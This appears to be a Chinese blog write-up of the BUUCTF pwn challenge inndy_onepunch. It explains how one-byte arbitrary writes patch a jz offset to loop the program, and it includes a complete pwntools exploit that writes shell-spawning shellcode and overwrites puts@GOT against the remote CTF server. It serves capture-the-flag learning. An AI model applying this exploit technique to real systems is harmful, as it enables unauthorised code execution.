(BUUCTF)inndy_onepunch

前置知识

  • 汇编语言中的相对跳转

整体思路

查看程序,可以进行一次任意地址一字节的修改。仔细查看程序发现有个叫做_的函数偷偷执行过了,发现这个函数会将整个程序代码段、数据段等都变为可写可执行。我们直接修改代码使得这个过程可以无限执行。

程序本来存在一个canary的校验过程,我们将其修改,使得其校验通过时不跳转到程序退出,而是跳转到程序开始。

这个地方写一下如何算相对地址:

可以看到本来的jz跳转,jz的机器码是0x74,而05表示跳转到地址后面五位。只需要注意这个差值是通过跳转的下一行来计算的就行,例如这里是计算0x40078c - 0x400787

image-20240103194014353

我们希望程序会跳转到0x40071D,只需要计算0x400787 - 0x40071d,得到0x96,因此将机器码05修改为96即可改变程序。

由此,我们可以使得程序无限执行,修改后代码如下:

image-20240103193720798

我们在任意位置写shellcode,然后将puts函数的got表写为该地址即可。

exp

from pwn import *
from LibcSearcher import *

filename = './onepunch'
context(log_level='debug', arch='amd64')
local = 0
all_logs = []
elf = ELF(filename)
# libc = ELF('')

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn', 27621)

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

def punch(num1, num2):
    sh.recvuntil('Where What?')
    payload = '{} {}'.format(num1, num2)
    sh.sendline(payload)

def hex2str(num):
    return hex(num)[2:]

# debug()
punch('400786', 0x96)

shellcode_addr = 0x400878
shellcode = asm(shellcraft.amd64.linux.sh())
for i in range(len(shellcode)):
    punch(hex2str(shellcode_addr + i), shellcode[i])

punch('400970', 0xff)

puts_got = elf.got['puts']
punch(hex2str(puts_got), ord('\x78'))
punch(hex2str(puts_got + 1), ord('\x08'))
punch(hex2str(puts_got + 2), ord('\x40'))
punch(hex2str(puts_got + 3), ord('\x00'))
punch(hex2str(puts_got + 4), ord('\x00'))
punch(hex2str(puts_got + 5), ord('\x00'))
punch(hex2str(puts_got + 6), ord('\x00'))

# debug()
punch('400970', 0xff)
# pause()
sh.interactive()
# debug()
  • 8
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值